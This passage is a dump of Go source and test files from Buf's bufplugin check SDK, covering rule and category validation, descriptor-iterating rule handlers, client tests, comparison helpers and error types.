| return newValidateCategorySpecErrorf("ID %q specified replacement ID %q which was not found", categorySpec.ID, replacementID) 83 | } 84 | if replacementCategorySpec.Deprecated { 85 | return newValidateCategorySpecErrorf("Deprecated ID %q specified replacement ID %q which also deprecated", categorySpec.ID, replacementID) 86 | } 87 | } 88 | if _, ok := categoryIDForRulesMap[categorySpec.ID]; !ok { 89 | return newValidateCategorySpecErrorf("no Rule has a Category ID of %q", categorySpec.ID) 90 | } 91 | } 92 | return nil 93 | } 94 | 95 | func sortCategorySpecs(categorySpecs []*CategorySpec) { 96 | sort.Slice( 97 | categorySpecs, 98 | func(i int, j int) bool { 99 | return compareCategorySpecs(categorySpecs[i], categorySpecs[j]) < 0 100 | }, 101 | ) 102 | } 103 | -------------------------------------------------------------------------------- /check/check.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | // Package check implements the SDK for custom lint and breaking change plugins. 16 | package check // import "buf.build/go/bufplugin/check" 17 | -------------------------------------------------------------------------------- /check/check_service_handler_test.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package check 16 | 17 | import ( 18 | "context" 19 | "testing" 20 | 21 | checkv1 "buf.build/gen/go/bufbuild/bufplugin/protocolbuffers/go/buf/plugin/check/v1" 22 | descriptorv1 "buf.build/gen/go/bufbuild/bufplugin/protocolbuffers/go/buf/plugin/descriptor/v1" 23 | "github.com/stretchr/testify/require" 24 | "google.golang.org/protobuf/proto" 25 | "google.golang.org/protobuf/types/descriptorpb" 26 | "pluginrpc.com/pluginrpc" 27 | ) 28 | 29 | func TestCheckServiceHandlerUniqueFiles(t *testing.T) { 30 | t.Parallel() 31 | 32 | checkServiceHandler, err := NewCheckServiceHandler( 33 | &Spec{ 34 | Rules: []*RuleSpec{ 35 | testNewSimpleLintRuleSpec("RULE1", nil, true, false, nil), 36 | }, 37 | }, 38 | ) 39 | require.NoError(t, err) 40 | 41 | _, err = checkServiceHandler.Check( 42 | context.Background(), 43 | &checkv1.CheckRequest{ 44 | FileDescriptors: []*descriptorv1.FileDescriptor{ 45 | { 46 | FileDescriptorProto: &descriptorpb.FileDescriptorProto{ 47 | Name: proto.String("foo.proto"), 48 | SourceCodeInfo: &descriptorpb.SourceCodeInfo{}, 49 | }, 50 | }, 51 | }, 52 | AgainstFileDescriptors: []*descriptorv1.FileDescriptor{ 53 | { 54 | FileDescriptorProto: &descriptorpb.FileDescriptorProto{ 55 | Name: proto.String("foo.proto"), 56 | SourceCodeInfo: &descriptorpb.SourceCodeInfo{}, 57 | }, 58 | }, 59 | }, 60 | }, 61 | ) 62 | require.NoError(t, err) 63 | 64 | _, err = checkServiceHandler.Check( 65 | context.Background(), 66 | &checkv1.CheckRequest{ 67 | FileDescriptors: []*descriptorv1.FileDescriptor{ 68 | { 69 | FileDescriptorProto: &descriptorpb.FileDescriptorProto{ 70 | Name: proto.String("foo.proto"), 71 | SourceCodeInfo: &descriptorpb.SourceCodeInfo{}, 72 | }, 73 | }, 74 | { 75 | FileDescriptorProto: &descriptorpb.FileDescriptorProto{ 76 | Name: proto.String("foo.proto"), 77 | SourceCodeInfo: &descriptorpb.SourceCodeInfo{}, 78 | }, 79 | }, 80 | }, 81 | }, 82 | ) 83 | pluginrpcError := &pluginrpc.Error{} 84 | require.ErrorAs(t, err, &pluginrpcError) 85 | require.Equal(t, pluginrpc.CodeInvalidArgument, pluginrpcError.Code()) 86 | 87 | _, err = checkServiceHandler.Check( 88 | context.Background(), 89 | &checkv1.CheckRequest{ 90 | FileDescriptors: []*descriptorv1.FileDescriptor{ 91 | { 92 | FileDescriptorProto: &descriptorpb.FileDescriptorProto{ 93 | Name: proto.String("foo.proto"), 94 | SourceCodeInfo: &descriptorpb.SourceCodeInfo{}, 95 | }, 96 | }, 97 | }, 98 | AgainstFileDescriptors: []*descriptorv1.FileDescriptor{ 99 | { 100 | FileDescriptorProto: &descriptorpb.FileDescriptorProto{ 101 | Name: proto.String("bar.proto"), 102 | SourceCodeInfo: &descriptorpb.SourceCodeInfo{}, 103 | }, 104 | }, 105 | { 106 | FileDescriptorProto: &descriptorpb.FileDescriptorProto{ 107 | Name: proto.String("bar.proto"), 108 | SourceCodeInfo: &descriptorpb.SourceCodeInfo{}, 109 | }, 110 | }, 111 | }, 112 | }, 113 | ) 114 | pluginrpcError = &pluginrpc.Error{} 115 | require.ErrorAs(t, err, &pluginrpcError) 116 | require.Equal(t, pluginrpc.CodeInvalidArgument, pluginrpcError.Code()) 117 | } 118 | 119 | func TestCheckServiceHandlerNoSourceCodeInfo(t *testing.T) { 120 | t.Parallel() 121 | 122 | checkServiceHandler, err := NewCheckServiceHandler( 123 | &Spec{ 124 | Rules: []*RuleSpec{ 125 | testNewSimpleLintRuleSpec("RULE1", nil, true, false, nil), 126 | }, 127 | }, 128 | ) 129 | require.NoError(t, err) 130 | 131 | _, err = checkServiceHandler.Check( 132 | context.Background(), 133 | &checkv1.CheckRequest{ 134 | FileDescriptors: []*descriptorv1.FileDescriptor{ 135 | { 136 | FileDescriptorProto: &descriptorpb.FileDescriptorProto{ 137 | Name: proto.String("foo.proto"), 138 | }, 139 | }, 140 | }, 141 | AgainstFileDescriptors: []*descriptorv1.FileDescriptor{ 142 | { 143 | FileDescriptorProto: &descriptorpb.FileDescriptorProto{ 144 | Name: proto.String("foo.proto"), 145 | }, 146 | }, 147 | }, 148 | }, 149 | ) 150 | require.NoError(t, err) 151 | } 152 | -------------------------------------------------------------------------------- /check/checkutil/checkutil.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | // Package checkutil implements helpers for the check package. 16 | package checkutil 17 | 18 | // IteratorOption is an option for any of the New.*RuleHandler functions in this package. 19 | type IteratorOption func(*iteratorOptions) 20 | 21 | // WithoutImports returns a new IteratorOption that will not call the provided function 22 | // for any imports. 23 | // 24 | // For lint RuleHandlers, this is generally an option you will want to pass. For breaking 25 | // RuleHandlers, you generally want to consider imports as part of breaking changes. 26 | // 27 | // The default is to call the provided function for all imports. 28 | func WithoutImports() IteratorOption { 29 | return func(iteratorOptions *iteratorOptions) { 30 | iteratorOptions.withoutImports = true 31 | } 32 | } 33 | 34 | // *** PRIVATE *** 35 | 36 | type iteratorOptions struct { 37 | withoutImports bool 38 | } 39 | 40 | func newIteratorOptions() *iteratorOptions { 41 | return &iteratorOptions{} 42 | } 43 | -------------------------------------------------------------------------------- /check/checkutil/lint.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package checkutil 16 | 17 | import ( 18 | "context" 19 | 20 | "buf.build/go/bufplugin/check" 21 | "buf.build/go/bufplugin/descriptor" 22 | "google.golang.org/protobuf/reflect/protoreflect" 23 | ) 24 | 25 | // NewFileRuleHandler returns a new RuleHandler that will call f for every file 26 | // within the check.Request's FileDescriptors(). 27 | // 28 | // This is typically used for lint Rules. Most callers will use the WithoutImports() options. 29 | func NewFileRuleHandler( 30 | f func(context.Context, check.ResponseWriter, check.Request, descriptor.FileDescriptor) error, 31 | options ...IteratorOption, 32 | ) check.RuleHandler { 33 | iteratorOptions := newIteratorOptions() 34 | for _, option := range options { 35 | option(iteratorOptions) 36 | } 37 | return check.RuleHandlerFunc( 38 | func( 39 | ctx context.Context, 40 | responseWriter check.ResponseWriter, 41 | request check.Request, 42 | ) error { 43 | for _, fileDescriptor := range request.FileDescriptors() { 44 | if iteratorOptions.withoutImports && fileDescriptor.IsImport() { 45 | continue 46 | } 47 | if err := f(ctx, responseWriter, request, fileDescriptor); err != nil { 48 | return err 49 | } 50 | } 51 | return nil 52 | }, 53 | ) 54 | } 55 | 56 | // NewFileImportRuleHandler returns a new RuleHandler that will call f for every "import" statement 57 | // within the check.Request's FileDescriptors(). 58 | // 59 | // Note that terms are overloaded here: descriptor.FileDescriptor.IsImport denotes whether the FileDescriptor is an import 60 | // itself, while this iterates over the protoreflect.FileImports within each FileDescriptor. The option 61 | // WithoutImports() is a separate concern - NewFileImportRuleHandler(f, WithoutImports()) will 62 | // iterate over all the FileImports for the non-import FileDescriptors. 63 | // 64 | // This is typically used for lint Rules. Most callers will use the WithoutImports() options. 65 | func NewFileImportRuleHandler( 66 | f func(context.Context, check.ResponseWriter, check.Request, protoreflect.FileImport) error, 67 | options ...IteratorOption, 68 | ) check.RuleHandler { 69 | return NewFileRuleHandler( 70 | func( 71 | ctx context.Context, 72 | responseWriter check.ResponseWriter, 73 | request check.Request, 74 | fileDescriptor descriptor.FileDescriptor, 75 | ) error { 76 | return forEachFileImport( 77 | fileDescriptor.ProtoreflectFileDescriptor(), 78 | func(fileImport protoreflect.FileImport) error { 79 | return f(ctx, responseWriter, request, fileImport) 80 | }, 81 | ) 82 | }, 83 | options..., 84 | ) 85 | } 86 | 87 | // NewEnumRuleHandler returns a new RuleHandler that will call f for every enum 88 | // within the check.Request's FileDescriptors(). 89 | // 90 | // This is typically used for lint Rules. Most callers will use the WithoutImports() options. 91 | func NewEnumRuleHandler( 92 | f func(context.Context, check.ResponseWriter, check.Request, protoreflect.EnumDescriptor) error, 93 | options ...IteratorOption, 94 | ) check.RuleHandler { 95 | return NewFileRuleHandler( 96 | func( 97 | ctx context.Context, 98 | responseWriter check.ResponseWriter, 99 | request check.Request, 100 | fileDescriptor descriptor.FileDescriptor, 101 | ) error { 102 | return forEachEnum( 103 | fileDescriptor.ProtoreflectFileDescriptor(), 104 | func(enumDescriptor protoreflect.EnumDescriptor) error { 105 | return f(ctx, responseWriter, request, enumDescriptor) 106 | }, 107 | ) 108 | }, 109 | options..., 110 | ) 111 | } 112 | 113 | // NewEnumValueRuleHandler returns a new RuleHandler that will call f for every value in every enum 114 | // within the check.Request's FileDescriptors(). 115 | // 116 | // This is typically used for lint Rules. Most callers will use the WithoutImports() options. 117 | func NewEnumValueRuleHandler( 118 | f func(context.Context, check.ResponseWriter, check.Request, protoreflect.EnumValueDescriptor) error, 119 | options ...IteratorOption, 120 | ) check.RuleHandler { 121 | return NewEnumRuleHandler( 122 | func( 123 | ctx context.Context, 124 | responseWriter check.ResponseWriter, 125 | request check.Request, 126 | enumDescriptor protoreflect.EnumDescriptor, 127 | ) error { 128 | return forEachEnumValue( 129 | enumDescriptor, 130 | func(enumValueDescriptor protoreflect.EnumValueDescriptor) error { 131 | return f(ctx, responseWriter, request, enumValueDescriptor) 132 | }, 133 | ) 134 | }, 135 | options..., 136 | ) 137 | } 138 | 139 | // NewMessageRuleHandler returns a new RuleHandler that will call f for every message 140 | // within the check.Request's FileDescriptors(). 141 | // 142 | // This is typically used for lint Rules. Most callers will use the WithoutImports() options. 143 | func NewMessageRuleHandler( 144 | f func(context.Context, check.ResponseWriter, check.Request, protoreflect.MessageDescriptor) error, 145 | options ...IteratorOption, 146 | ) check.RuleHandler { 147 | return NewFileRuleHandler( 148 | func( 149 | ctx context.Context, 150 | responseWriter check.ResponseWriter, 151 | request check.Request, 152 | fileDescriptor descriptor.FileDescriptor, 153 | ) error { 154 | return forEachMessage( 155 | fileDescriptor.ProtoreflectFileDescriptor(), 156 | func(messageDescriptor protoreflect.MessageDescriptor) error { 157 | return f(ctx, responseWriter, request, messageDescriptor) 158 | }, 159 | ) 160 | }, 161 | options..., 162 | ) 163 | } 164 | 165 | // NewFieldRuleHandler returns a new RuleHandler that will call f for every field in every message 166 | // within the check.Request's FileDescriptors(). 167 | // 168 | // This includes extensions. 169 | // 170 | // This is typically used for lint Rules. Most callers will use the WithoutImports() options. 171 | func NewFieldRuleHandler( 172 | f func(context.Context, check.ResponseWriter, check.Request, protoreflect.FieldDescriptor) error, 173 | options ...IteratorOption, 174 | ) check.RuleHandler { 175 | return NewFileRuleHandler( 176 | func( 177 | ctx context.Context, 178 | responseWriter check.ResponseWriter, 179 | request check.Request, 180 | fileDescriptor descriptor.FileDescriptor, 181 | ) error { 182 | return forEachField( 183 | fileDescriptor.ProtoreflectFileDescriptor(), 184 | func(fieldDescriptor protoreflect.FieldDescriptor) error { 185 | return f(ctx, responseWriter, request, fieldDescriptor) 186 | }, 187 | ) 188 | }, 189 | options..., 190 | ) 191 | } 192 | 193 | // NewOneofRuleHandler returns a new RuleHandler that will call f for every oneof in every message 194 | // within the check.Request's FileDescriptors(). 195 | // 196 | // This is typically used for lint Rules. Most callers will use the WithoutImports() options. 197 | func NewOneofRuleHandler( 198 | f func(context.Context, check.ResponseWriter, check.Request, protoreflect.OneofDescriptor) error, 199 | options ...IteratorOption, 200 | ) check.RuleHandler { 201 | return NewMessageRuleHandler( 202 | func( 203 | ctx context.Context, 204 | responseWriter check.ResponseWriter, 205 | request check.Request, 206 | messageDescriptor protoreflect.MessageDescriptor, 207 | ) error { 208 | return forEachOneof( 209 | messageDescriptor, 210 | func(oneofDescriptor protoreflect.OneofDescriptor) error { 211 | return f(ctx, responseWriter, request, oneofDescriptor) 212 | }, 213 | ) 214 | }, 215 | options..., 216 | ) 217 | } 218 | 219 | // NewServiceRuleHandler returns a new RuleHandler that will call f for every service 220 | // within the check.Request's FileDescriptors(). 221 | // 222 | // This is typically used for lint Rules. Most callers will use the WithoutImports() options. 223 | func NewServiceRuleHandler( 224 | f func(context.Context, check.ResponseWriter, check.Request, protoreflect.ServiceDescriptor) error, 225 | options ...IteratorOption, 226 | ) check.RuleHandler { 227 | return NewFileRuleHandler( 228 | func( 229 | ctx context.Context, 230 | responseWriter check.ResponseWriter, 231 | request check.Request, 232 | fileDescriptor descriptor.FileDescriptor, 233 | ) error { 234 | return forEachService( 235 | fileDescriptor.ProtoreflectFileDescriptor(), 236 | func(serviceDescriptor protoreflect.ServiceDescriptor) error { 237 | return f(ctx, responseWriter, request, serviceDescriptor) 238 | }, 239 | ) 240 | }, 241 | options..., 242 | ) 243 | } 244 | 245 | // NewMethodRuleHandler returns a new RuleHandler that will call f for every method in every service 246 | // within the check.Request's FileDescriptors(). 247 | // 248 | // This is typically used for lint Rules. Most callers will use the WithoutImports() options. 249 | func NewMethodRuleHandler( 250 | f func(context.Context, check.ResponseWriter, check.Request, protoreflect.MethodDescriptor) error, 251 | options ...IteratorOption, 252 | ) check.RuleHandler { 253 | return NewServiceRuleHandler( 254 | func( 255 | ctx context.Context, 256 | responseWriter check.ResponseWriter, 257 | request check.Request, 258 | serviceDescriptor protoreflect.ServiceDescriptor, 259 | ) error { 260 | return forEachMethod( 261 | serviceDescriptor, 262 | func(methodDescriptor protoreflect.MethodDescriptor) error { 263 | return f(ctx, responseWriter, request, methodDescriptor) 264 | }, 265 | ) 266 | }, 267 | options..., 268 | ) 269 | } 270 | -------------------------------------------------------------------------------- /check/client_test.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package check 16 | 17 | import ( 18 | "context" 19 | "fmt" 20 | "slices" 21 | "testing" 22 | 23 | "buf.build/go/bufplugin/info" 24 | "buf.build/go/bufplugin/internal/pkg/xslices" 25 | "github.com/stretchr/testify/require" 26 | "pluginrpc.com/pluginrpc" 27 | ) 28 | 29 | func TestClientListRulesCategoriesSimple(t *testing.T) { 30 | t.Parallel() 31 | 32 | testClientListRulesCategoriesSimple(t) 33 | testClientListRulesCategoriesSimple(t, ClientWithCaching()) 34 | } 35 | 36 | func testClientListRulesCategoriesSimple(t *testing.T, options ...ClientForSpecOption) { 37 | ctx := context.Background() 38 | client, err := NewClientForSpec( 39 | &Spec{ 40 | Rules: []*RuleSpec{ 41 | { 42 | ID: "RULE1", 43 | Purpose: "Test RULE1.", 44 | Type: RuleTypeLint, 45 | Handler: nopRuleHandler, 46 | }, 47 | { 48 | ID: "RULE2", 49 | CategoryIDs: []string{ 50 | "CATEGORY1", 51 | }, 52 | Purpose: "Test RULE2.", 53 | Type: RuleTypeLint, 54 | Handler: nopRuleHandler, 55 | }, 56 | { 57 | ID: "RULE3", 58 | CategoryIDs: []string{ 59 | "CATEGORY1", 60 | "CATEGORY2", 61 | }, 62 | Purpose: "Test RULE3.", 63 | Type: RuleTypeLint, 64 | Handler: nopRuleHandler, 65 | }, 66 | }, 67 | Categories: []*CategorySpec{ 68 | { 69 | ID: "CATEGORY1", 70 | Purpose: "Test CATEGORY1.", 71 | }, 72 | { 73 | ID: "CATEGORY2", 74 | Purpose: "Test CATEGORY2.", 75 | }, 76 | }, 77 | }, 78 | options..., 79 | ) 80 | require.NoError(t, err) 81 | rules, err := client.ListRules(ctx) 82 | require.NoError(t, err) 83 | require.Equal( 84 | t, 85 | []string{ 86 | "RULE1", 87 | "RULE2", 88 | "RULE3", 89 | }, 90 | xslices.Map(rules, Rule.ID), 91 | ) 92 | categories, err := client.ListCategories(ctx) 93 | require.NoError(t, err) 94 | require.Equal( 95 | t, 96 | []string{ 97 | "CATEGORY1", 98 | "CATEGORY2", 99 | }, 100 | xslices.Map(categories, Category.ID), 101 | ) 102 | categories = rules[0].Categories() 103 | require.Empty(t, categories) 104 | categories = rules[1].Categories() 105 | require.Equal( 106 | t, 107 | []string{ 108 | "CATEGORY1", 109 | }, 110 | xslices.Map(categories, Category.ID), 111 | ) 112 | categories = rules[2].Categories() 113 | require.Equal( 114 | t, 115 | []string{ 116 | "CATEGORY1", 117 | "CATEGORY2", 118 | }, 119 | xslices.Map(categories, Category.ID), 120 | ) 121 | } 122 | 123 | func TestClientListRulesCount(t *testing.T) { 124 | t.Parallel() 125 | 126 | testClientListRulesCount(t, listRulesPageSize-1) 127 | testClientListRulesCount(t, listRulesPageSize) 128 | testClientListRulesCount(t, listRulesPageSize+1) 129 | testClientListRulesCount(t, listRulesPageSize*2) 130 | testClientListRulesCount(t, (listRulesPageSize*2)+1) 131 | testClientListRulesCount(t, (listRulesPageSize*4)+1) 132 | } 133 | 134 | func testClientListRulesCount(t *testing.T, count int) { 135 | require.True(t, count < 10000, "count must be less than 10000 for sorting to work properly in this test") 136 | ruleSpecs := make([]*RuleSpec, count) 137 | for i := range count { 138 | ruleSpecs[i] = &RuleSpec{ 139 | ID: fmt.Sprintf("RULE%05d", i), 140 | Purpose: fmt.Sprintf("Test RULE%05d.", i), 141 | Type: RuleTypeLint, 142 | Handler: nopRuleHandler, 143 | } 144 | } 145 | // Make the ruleSpecs not in sorted order. 146 | ruleSpecsOutOfOrder := slices.Clone(ruleSpecs) 147 | slices.Reverse(ruleSpecsOutOfOrder) 148 | client, err := NewClientForSpec(&Spec{Rules: ruleSpecsOutOfOrder}) 149 | require.NoError(t, err) 150 | rules, err := client.ListRules(context.Background()) 151 | require.NoError(t, err) 152 | require.Equal(t, count, len(rules)) 153 | for i := range count { 154 | require.Equal(t, ruleSpecs[i].ID, rules[i].ID()) 155 | } 156 | } 157 | 158 | func TestPluginInfo(t *testing.T) { 159 | t.Parallel() 160 | 161 | client, err := NewClientForSpec( 162 | &Spec{ 163 | Rules: []*RuleSpec{ 164 | { 165 | ID: "RULE1", 166 | Purpose: "Test RULE1.", 167 | Type: RuleTypeLint, 168 | Handler: nopRuleHandler, 169 | }, 170 | }, 171 | Info: &info.Spec{ 172 | SPDXLicenseID: "apache-2.0", 173 | LicenseURL: "https://foo.com/license", 174 | }, 175 | }, 176 | ) 177 | require.NoError(t, err) 178 | pluginInfo, err := client.GetPluginInfo(context.Background()) 179 | require.NoError(t, err) 180 | license := pluginInfo.License() 181 | require.NotNil(t, license) 182 | require.NotNil(t, license.URL()) 183 | // Case-sensitive. 184 | require.Equal(t, "Apache-2.0", license.SPDXLicenseID()) 185 | require.Equal(t, "https://foo.com/license", license.URL().String()) 186 | } 187 | 188 | func TestPluginInfoUnimplemented(t *testing.T) { 189 | t.Parallel() 190 | 191 | client, err := NewClientForSpec( 192 | &Spec{ 193 | Rules: []*RuleSpec{ 194 | { 195 | ID: "RULE1", 196 | Purpose: "Test RULE1.", 197 | Type: RuleTypeLint, 198 | Handler: nopRuleHandler, 199 | }, 200 | }, 201 | }, 202 | ) 203 | require.NoError(t, err) 204 | _, err = client.GetPluginInfo(context.Background()) 205 | pluginrpcError := &pluginrpc.Error{} 206 | require.Error(t, err) 207 | require.ErrorAs(t, err, &pluginrpcError) 208 | require.Equal(t, pluginrpc.CodeUnimplemented, pluginrpcError.Code()) 209 | } 210 | -------------------------------------------------------------------------------- /check/compare.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package check 16 | 17 | import ( 18 | "strings" 19 | 20 | "buf.build/go/bufplugin/descriptor" 21 | ) 22 | 23 | // CompareAnnotations returns -1 if one < two, 1 if one > two, 0 otherwise. 24 | func CompareAnnotations(one Annotation, two Annotation) int { 25 | if one == nil && two == nil { 26 | return 0 27 | } 28 | if one == nil && two != nil { 29 | return -1 30 | } 31 | if one != nil && two == nil { 32 | return 1 33 | } 34 | if compare := strings.Compare(one.RuleID(), two.RuleID()); compare != 0 { 35 | return compare 36 | } 37 | 38 | if compare := descriptor.CompareFileLocations(one.FileLocation(), two.FileLocation()); compare != 0 { 39 | return compare 40 | } 41 | 42 | if compare := descriptor.CompareFileLocations(one.AgainstFileLocation(), two.AgainstFileLocation()); compare != 0 { 43 | return compare 44 | } 45 | return strings.Compare(one.Message(), two.Message()) 46 | } 47 | 48 | // CompareRules returns -1 if one < two, 1 if one > two, 0 otherwise. 49 | func CompareRules(one Rule, two Rule) int { 50 | if one == nil && two == nil { 51 | return 0 52 | } 53 | if one == nil && two != nil { 54 | return -1 55 | } 56 | if one != nil && two == nil { 57 | return 1 58 | } 59 | return strings.Compare(one.ID(), two.ID()) 60 | } 61 | 62 | // CompareCategories returns -1 if one < two, 1 if one > two, 0 otherwise. 63 | func CompareCategories(one Category, two Category) int { 64 | if one == nil && two == nil { 65 | return 0 66 | } 67 | if one == nil && two != nil { 68 | return -1 69 | } 70 | if one != nil && two == nil { 71 | return 1 72 | } 73 | return strings.Compare(one.ID(), two.ID()) 74 | } 75 | 76 | // *** PRIVATE *** 77 | 78 | // compareRuleSpecs returns -1 if one < two, 1 if one > two, 0 otherwise. 79 | func compareRuleSpecs(one *RuleSpec, two *RuleSpec) int { 80 | if one == nil && two == nil { 81 | return 0 82 | } 83 | if one == nil && two != nil { 84 | return -1 85 | } 86 | if one != nil && two == nil { 87 | return 1 88 | } 89 | return strings.Compare(one.ID, two.ID) 90 | } 91 | 92 | // compareCategorySpecs returns -1 if one < two, 1 if one > two, 0 otherwise. 93 | func compareCategorySpecs(one *CategorySpec, two *CategorySpec) int { 94 | if one == nil && two == nil { 95 | return 0 96 | } 97 | if one == nil && two != nil { 98 | return -1 99 | } 100 | if one != nil && two == nil { 101 | return 1 102 | } 103 | return strings.Compare(one.ID, two.ID) 104 | } 105 | -------------------------------------------------------------------------------- /check/errors.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package check 16 | 17 | import ( 18 | "errors" 19 | "fmt" 20 | "strings" 21 | ) 22 | 23 | type duplicateRuleIDError struct { 24 | duplicateIDs []string 25 | } 26 | 27 | func newDuplicateRuleIDError(duplicateIDs []string) *duplicateRuleIDError { 28 | return &duplicateRuleIDError{ 29 | duplicateIDs: duplicateIDs, 30 | } 31 | } 32 | 33 | func (r *duplicateRuleIDError) Error() string { 34 | if r == nil { 35 | return "" 36 | } 37 | if len(r.duplicateIDs) == 0 { 38 | return "" 39 | } 40 | var sb strings.Builder 41 | _, _ = sb.WriteString("duplicate rule IDs: ") 42 | _, _ = sb.WriteString(strings.Join(r.duplicateIDs, ", ")) 43 | return sb.String() 44 | } 45 | 46 | type duplicateCategoryIDError struct { 47 | duplicateIDs []string 48 | } 49 | 50 | func newDuplicateCategoryIDError(duplicateIDs []string) *duplicateCategoryIDError { 51 | return &duplicateCategoryIDError{ 52 | duplicateIDs: duplicateIDs, 53 | } 54 | } 55 | 56 | func (c *duplicateCategoryIDError) Error() string { 57 | if c == nil { 58 | return "" 59 | } 60 | if len(c.duplicateIDs) == 0 { 61 | return "" 62 | } 63 | var sb strings.Builder 64 | _, _ = sb.WriteString("duplicate category IDs: ") 65 | _, _ = sb.WriteString(strings.Join(c.duplicateIDs, ", ")) 66 | return sb.String() 67 | } 68 | 69 | type duplicateRuleOrCategoryIDError struct { 70 | duplicateIDs []string 71 | } 72 | 73 | func newDuplicateRuleOrCategoryIDError(duplicateIDs []string) *duplicateRuleOrCategoryIDError { 74 | return &duplicateRuleOrCategoryIDError{ 75 | duplicateIDs: duplicateIDs, 76 | } 77 | } 78 | 79 | func (o *duplicateRuleOrCategoryIDError) Error() string { 80 | if o == nil { 81 | return "" 82 | } 83 | if len(o.duplicateIDs) == 0 { 84 | return "" 85 | } 86 | var sb strings.Builder 87 | _, _ = sb.WriteString("duplicate rule or category IDs: ") 88 | _, _ = sb.WriteString(strings.Join(o.duplicateIDs, ", ")) 89 | return sb.String() 90 | } 91 | 92 | type validateRuleSpecError struct { 93 | delegate error 94 | } 95 | 96 | func newValidateRuleSpecErrorf(format string, args ...any) *validateRuleSpecError { 97 | return &validateRuleSpecError{ 98 | delegate: fmt.Errorf(format, args...), 99 | } 100 | } 101 | 102 | func wrapValidateRuleSpecError(delegate error) *validateRuleSpecError { 103 | return &validateRuleSpecError{ 104 | delegate: delegate, 105 | } 106 | } 107 | 108 | func (vr *validateRuleSpecError) Error() string { 109 | if vr == nil { 110 | return "" 111 | } 112 | if vr.delegate == nil { 113 | return "" 114 | } 115 | var sb strings.Builder 116 | _, _ = sb.WriteString(`invalid check.RuleSpec: `) 117 | _, _ = sb.WriteString(vr.delegate.Error()) 118 | return sb.String() 119 | } 120 | 121 | func (vr *validateRuleSpecError) Unwrap() error { 122 | if vr == nil { 123 | return nil 124 | } 125 | return vr.delegate 126 | } 127 | 128 | type validateCategorySpecError struct { 129 | delegate error 130 | } 131 | 132 | func newValidateCategorySpecErrorf(format string, args ...any) *validateCategorySpecError { 133 | return &validateCategorySpecError{ 134 | delegate: fmt.Errorf(format, args...), 135 | } 136 | } 137 | 138 | func wrapValidateCategorySpecError(delegate error) *validateCategorySpecError { 139 | return &validateCategorySpecError{ 140 | delegate: delegate, 141 | } 142 | } 143 | 144 | func (vr *validateCategorySpecError) Error() string { 145 | if vr == nil { 146 | return "" 147 | } 148 | if vr.delegate == nil { 149 | return "" 150 | } 151 | var sb strings.Builder 152 | _, _ = sb.WriteString(`invalid check.CategorySpec: `) 153 | _, _ = sb.WriteString(vr.delegate.Error()) 154 | return sb.String() 155 | } 156 | 157 | func (vr *validateCategorySpecError) Unwrap() error { 158 | if vr == nil { 159 